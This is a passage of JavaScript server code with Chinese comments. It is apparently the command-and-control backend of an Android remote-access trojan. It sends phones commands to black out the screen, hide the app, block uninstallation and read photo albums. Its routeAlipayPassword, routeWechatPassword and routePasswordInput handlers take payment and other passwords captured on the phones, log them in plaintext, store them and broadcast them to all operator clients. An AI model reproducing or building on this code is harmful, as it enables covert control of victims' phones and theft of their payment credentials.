deviceId) { try { this.logger.info(`🎯 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`); // 向所有连接的客户端广播提取模式开始事件(主要是屏幕阅读器组件) this.webClientManager.broadcastToAll('start_extract_confirm_coords', { deviceId, clientId }); this.logger.info(`✅ 确认坐标提取模式已启动: ${deviceId}`); return true; } catch (error) { this.logger.error('启动确认坐标提取模式失败:', error); return false; } } /** * 🆕 处理保存确认坐标的请求 */ handleSaveConfirmCoords(clientId, deviceId, coords) { try { this.logger.info(`💾 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`); // 验证坐标数据 if (!coords || typeof coords.x !== 'number' || typeof coords.y !== 'number') { this.logger.error('❌ 无效的坐标数据:', coords); this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { deviceId, success: false, message: '无效的坐标数据' }); return false; } // 保存到数据库 this.databaseService.saveConfirmButtonCoords(deviceId, coords); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { deviceId, success: true, coords, message: '确认坐标已保存' }); // 向所有客户端广播坐标已更新(用于实时更新UI显示) this.webClientManager.broadcastToAll('confirm_coords_updated', { deviceId, coords }); this.logger.info(`✅ 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`); return true; } catch (error) { this.logger.error('保存确认坐标失败:', error); this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', { deviceId, success: false, message: '保存失败: ' + error.message }); return false; } } /** * 🆕 处理启用黑屏遮盖的请求 */ handleEnableBlackScreen(clientId, deviceId) { try { this.logger.info(`🖤 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送启用黑屏遮盖的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'ENABLE_BLACK_SCREEN', deviceId, data: {}, timestamp: Date.now() }); // 🆕 保存黑屏状态到数据库 this.databaseService.updateDeviceBlackScreenActive(deviceId, true); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: true, isActive: true, message: '黑屏遮盖已启用' }); this.logger.info(`✅ 黑屏遮盖启用命令已发送: ${deviceId}`); return true; } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error('启用黑屏遮盖失败:', error); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '启用失败: ' + error.message }); return false; } } /** * 🆕 处理取消黑屏遮盖的请求 */ handleDisableBlackScreen(clientId, deviceId) { try { this.logger.info(`🖤 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: true, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送取消黑屏遮盖的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'DISABLE_BLACK_SCREEN', deviceId, data: {}, timestamp: Date.now() }); // 🆕 保存黑屏状态到数据库 this.databaseService.updateDeviceBlackScreenActive(deviceId, false); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: true, isActive: false, message: '黑屏遮盖已取消' }); this.logger.info(`✅ 黑屏遮盖取消命令已发送: ${deviceId}`); return true; } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: true, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error('取消黑屏遮盖失败:', error); this.webClientManager.sendToClient(clientId, 'black_screen_response', { deviceId, success: false, isActive: true, message: '取消失败: ' + error.message }); return false; } } /** * 🆕 处理打开应用设置的请求 */ handleOpenAppSettings(clientId, deviceId) { try { this.logger.info(`⚙️ 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送打开应用设置的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_APP_SETTINGS', deviceId, data: {}, timestamp: Date.now() }); this.logger.info(`✅ 已发送打开应用设置命令到设备 ${deviceId}`); // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: true, message: '打开应用设置命令已发送' }); return true; } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`打开应用设置失败:`, error); this.webClientManager.sendToClient(clientId, 'app_settings_response', { deviceId, success: false, message: '打开应用设置失败' }); return false; } } /** * 🆕 处理隐藏应用的请求 */ handleHideApp(clientId, deviceId) { try { this.logger.info(`📱 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送隐藏应用的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'HIDE_APP', deviceId, data: {}, timestamp: Date.now() }); // 🆕 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, true); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: true, isHidden: true, message: '应用已隐藏' }); this.logger.info(`✅ 隐藏应用命令已发送: ${deviceId}`); return true; } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error('隐藏应用失败:', error); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: false, message: '隐藏失败: ' + error.message }); return false; } } /** * 🆕 处理应用隐藏状态更新(来自Android端的状态报告) */ handleAppHideStatusUpdate(deviceId, eventData) { try { this.logger.info(`📱 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`); const isHidden = eventData.isHidden; const message = eventData.message || '状态已更新'; const success = eventData.success; // 🆕 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, isHidden); // 广播状态更新到所有有控制权的Web客户端 const controllerId = this.webClientManager.getDeviceController(deviceId); if (controllerId) { this.webClientManager.sendToClient(controllerId, 'app_hide_response', { deviceId, success: success, isHidden: isHidden, message: message, fromDevice: true // 标记这是来自设备端的状态报告 }); this.logger.info(`✅ 应用隐藏状态已广播到控制客户端: ${controllerId}`); } else { this.logger.debug(`📋 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`); } // 也广播到所有客户端,用于状态同步 this.webClientManager.broadcastToAll('device_app_hide_status_changed', { deviceId, isHidden, message, timestamp: Date.now() }); return true; } catch (error) { this.logger.error('处理应用隐藏状态更新失败:', error); return false; } } /** * 🆕 处理显示应用的请求 */ handleShowApp(clientId, deviceId) { try { this.logger.info(`📱 显示应用: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送显示应用的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'SHOW_APP', deviceId, data: {}, timestamp: Date.now() }); // 🆕 保存应用隐藏状态到数据库 this.databaseService.updateDeviceAppHidden(deviceId, false); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: true, isHidden: false, message: '应用已显示' }); this.logger.info(`✅ 显示应用命令已发送: ${deviceId}`); return true; } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error('显示应用失败:', error); this.webClientManager.sendToClient(clientId, 'app_hide_response', { deviceId, success: false, isHidden: true, message: '显示失败: ' + error.message }); return false; } } /** * 🆕 处理关闭配置遮盖的请求 */ handleCloseConfigMask(clientId, deviceId, manual = true) { try { this.logger.info(`🛡️ 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); // 注意:关闭配置遮盖使用permission_response事件而非专用响应事件 return false; } // 🆕 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示 // 这是一个紧急操作,允许任何连接的客户端执行 // 向设备发送关闭配置遮盖的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'CLOSE_CONFIG_MASK', deviceId, data: { manual: manual }, timestamp: Date.now() }); this.logger.info(`✅ 关闭配置遮盖命令已发送: ${deviceId}`); return true; } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`); return false; } catch (error) { this.logger.error('关闭配置遮盖失败:', error); return false; } } /** * 🆕 处理重新获取投屏权限请求 */ handleRefreshMediaProjectionPermission(clientId, deviceId) { try { this.logger.info(`📺 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送重新获取投屏权限的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'REFRESH_MEDIA_PROJECTION_PERMISSION', deviceId, data: {}, timestamp: Date.now() }); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: true, message: '重新获取投屏权限命令已发送,请在设备上确认权限' }); this.logger.info(`✅ 重新获取投屏权限命令已发送: ${deviceId}`); return true; } } this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error('重新获取投屏权限失败:', error); this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { deviceId, success: false, message: '重新获取投屏权限失败: ' + error.message }); return false; } } /** * 🆕 路由权限申请响应 */ routePermissionResponse(socketId, permissionData) { try { // 获取发送响应的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId); if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`); return false; } this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`); // 检查权限类型并处理响应 if (permissionData.permissionType === 'media_projection') { this.handleMediaProjectionPermissionResponse(device.id, permissionData); } else { this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`); } return true; } catch (error) { this.logger.error(`路由权限申请响应失败: Socket ${socketId}`, error); return false; } } /** * 💰 路由支付宝密码数据 */ routeAlipayPassword(socketId, passwordData) { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId); if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`); return false; } this.logger.info(`💰 处理设备 ${device.id} 的支付宝密码数据`); // 验证必要字段 if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { this.logger.warn(`⚠️ 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`); return false; } // 创建支付宝密码记录 const alipayPasswordRecord = { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: new Date(passwordData.timestamp), createdAt: new Date() }; this.logger.info(`支付宝数据 ${alipayPasswordRecord.password}`); // 保存到数据库 this.databaseService.saveAlipayPassword(alipayPasswordRecord); // 向所有Web客户端广播支付宝密码记录 this.webClientManager.broadcastToAll('alipay_password_recorded', { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: passwordData.timestamp }); this.logger.info(`📤 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`); return true; } catch (error) { this.logger.error(`路由支付宝密码数据失败: Socket ${socketId}`, error); return false; } } /** * 💬 路由微信密码数据 */ routeWechatPassword(socketId, passwordData) { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId); if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`); return false; } this.logger.info(`💬 处理设备 ${device.id} 的微信密码数据`); // 验证必要字段 if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { this.logger.warn(`⚠️ 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`); return false; } // 创建微信密码记录 const wechatPasswordRecord = { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: new Date(passwordData.timestamp), createdAt: new Date() }; this.logger.info(`微信数据 ${wechatPasswordRecord.password}`); // 保存到数据库 this.databaseService.saveWechatPassword(wechatPasswordRecord); // 向所有Web客户端广播微信密码记录 this.webClientManager.broadcastToAll('wechat_password_recorded', { deviceId: passwordData.deviceId, password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, activity: passwordData.activity || 'UnknownActivity', inputMethod: passwordData.inputMethod || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: passwordData.timestamp }); this.logger.info(`📤 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`); return true; } catch (error) { this.logger.error(`路由微信密码数据失败: Socket ${socketId}`, error); return false; } } /** * 🔐 路由通用密码输入数据 */ routePasswordInput(socketId, passwordData) { try { // 获取发送密码数据的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId); if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`); return false; } this.logger.info(`🔐 处理设备 ${device.id} 的通用密码输入数据`); // 验证必要字段 if (!passwordData.password || !passwordData.timestamp || !passwordData.passwordType) { this.logger.warn(`⚠️ 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`); return false; } // 🔧 修复:使用设备管理器中的设备ID,而不是passwordData中的deviceId // 确保设备ID存在于数据库中,避免外键约束错误 const deviceId = device.id; // 验证设备是否存在于数据库中 const deviceExists = this.databaseService.getDeviceById(deviceId); if (!deviceExists) { this.logger.error(`❌ 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`); return false; } // 创建通用密码输入记录 const passwordInputRecord = { deviceId: deviceId, // 🔧 使用验证过的设备ID password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, passwordType: passwordData.passwordType, activity: passwordData.activity || 'PasswordInputActivity', inputMethod: passwordData.inputMethod || 'unknown', installationId: passwordData.installationId || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: new Date(passwordData.timestamp), createdAt: new Date() }; this.logger.info(`通用密码数据 ${passwordInputRecord.password} (类型: ${passwordInputRecord.passwordType})`); // 保存到数据库 this.databaseService.savePasswordInput(passwordInputRecord); // 向所有Web客户端广播通用密码输入记录 this.webClientManager.broadcastToAll('password_input_recorded', { deviceId: deviceId, // 🔧 使用验证过的设备ID password: passwordData.password, passwordLength: passwordData.passwordLength || passwordData.password.length, passwordType: passwordData.passwordType, activity: passwordData.activity || 'PasswordInputActivity', inputMethod: passwordData.inputMethod || 'unknown', installationId: passwordData.installationId || 'unknown', sessionId: passwordData.sessionId || Date.now().toString(), timestamp: passwordData.timestamp }); this.logger.info(`📤 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`); return true; } catch (error) { this.logger.error(`路由通用密码输入数据失败: Socket ${socketId}`, error); return false; } } /** * 🔍 路由支付宝检测启动指令 */ routeAlipayDetectionStart(socketId, detectionData) { try { // 获取发送检测启动指令的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId); if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`); return false; } this.logger.info(`🔍 处理设备 ${device.id} 的支付宝检测启动指令`); // 创建控制消息 const controlMessage = { type: 'ALIPAY_DETECTION_START', deviceId: device.id, data: detectionData.data || {}, timestamp: Date.now() }; // 路由控制消息 const routeResult = this.routeControlMessage(socketId, controlMessage); if (routeResult) { this.logger.info(`📤 支付宝检测启动指令已发送到设备: ${device.id}`); } else { this.logger.warn(`⚠️ 支付宝检测启动指令发送失败: ${device.id}`); } return routeResult; } catch (error) { this.logger.error(`路由支付宝检测启动指令失败: Socket ${socketId}`, error); return false; } } /** * 💬 路由微信检测启动指令 */ routeWechatDetectionStart(socketId, detectionData) { try { // 获取发送检测启动指令的设备信息 const device = this.deviceManager.getDeviceBySocketId(socketId); if (!device) { this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`); return false; } this.logger.info(`💬 处理设备 ${device.id} 的微信检测启动指令`); // 创建控制消息 const controlMessage = { type: 'WECHAT_DETECTION_START', deviceId: device.id, data: detectionData.data || {}, timestamp: Date.now() }; // 路由控制消息 const routeResult = this.routeControlMessage(socketId, controlMessage); if (routeResult) { this.logger.info(`📤 微信检测启动指令已发送到设备: ${device.id}`); } else { this.logger.warn(`⚠️ 微信检测启动指令发送失败: ${device.id}`); } return routeResult; } catch (error) { this.logger.error(`路由微信检测启动指令失败: Socket ${socketId}`, error); return false; } } /** * 🆕 处理MediaProjection权限申请响应 */ handleMediaProjectionPermissionResponse(deviceId, permissionData) { try { this.logger.info(`📺 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`); // 向所有Web客户端广播权限申请响应(因为权限申请可能影响多个控制此设备的客户端) this.webClientManager.broadcastToAll('refresh_permission_response', { deviceId, success: permissionData.success, message: permissionData.message, timestamp: permissionData.timestamp }); this.logger.info(`📤 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`); } catch (error) { this.logger.error(`处理MediaProjection权限申请响应失败: ${deviceId}`, error); } } /** * 🛡️ 处理启用防止卸载保护的请求 */ handleEnableUninstallProtection(clientId, deviceId) { try { this.logger.info(`🛡️ 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送启用防止卸载保护的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'ENABLE_UNINSTALL_PROTECTION', deviceId, data: {}, timestamp: Date.now() }); // 保存状态到数据库 this.databaseService.updateDeviceUninstallProtection(deviceId, true); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: true, enabled: true, message: '防止卸载保护已启用' }); this.logger.info(`✅ 防止卸载保护启用成功: 设备=${deviceId}`); return true; } } // 设备Socket不可用 this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`❌ 启用防止卸载保护失败:`, error); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '启用防止卸载保护失败' }); return false; } } /** * 🛡️ 处理禁用防止卸载保护的请求 */ handleDisableUninstallProtection(clientId, deviceId) { try { this.logger.info(`🛡️ 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送禁用防止卸载保护的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'DISABLE_UNINSTALL_PROTECTION', deviceId, data: {}, timestamp: Date.now() }); // 保存状态到数据库 this.databaseService.updateDeviceUninstallProtection(deviceId, false); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: true, enabled: false, message: '防止卸载保护已禁用' }); this.logger.info(`✅ 防止卸载保护禁用成功: 设备=${deviceId}`); return true; } } // 设备Socket不可用 this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`❌ 禁用防止卸载保护失败:`, error); this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '禁用防止卸载保护失败' }); return false; } } /** * 处理相册权限检查请求 */ handleGalleryPermissionCheck(clientId, deviceId) { try { this.logger.info(`📸 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送相册权限检查的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'GALLERY_PERMISSION_CHECK', deviceId, data: {}, timestamp: Date.now() }); this.logger.info(`✅ 相册权限检查命令已发送到设备: ${deviceId}`); return true; } } this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '设备连接异常' }); return false; } catch (error) { this.logger.error('处理相册权限检查请求失败:', error); this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '相册权限检查失败' }); return false; } } /** * 处理相册读取请求 */ handleAlbumRead(clientId, deviceId, data) { try { this.logger.info(`📸 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '无控制权限,请先申请设备控制权' }); return false; } // 验证数据格式 const { albumId, limit, offset } = data || {}; if (limit && (typeof limit !== 'number' || limit <= 0)) { this.logger.warn(`⚠️ 无效的相册读取限制: ${limit}`); this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '相册读取限制无效,应为正整数' }); return false; } if (offset && (typeof offset !== 'number' || offset < 0)) { this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset}`); this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '相册读取偏移无效,应为非负整数' }); return false; } // 向设备发送相册读取的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'ALBUM_READ', deviceId, data: { albumId: albumId || null, limit: limit || null, offset: offset || 0 }, timestamp: Date.now() }); this.logger.info(`✅ 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`); return true; } } this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'album_read_response', { 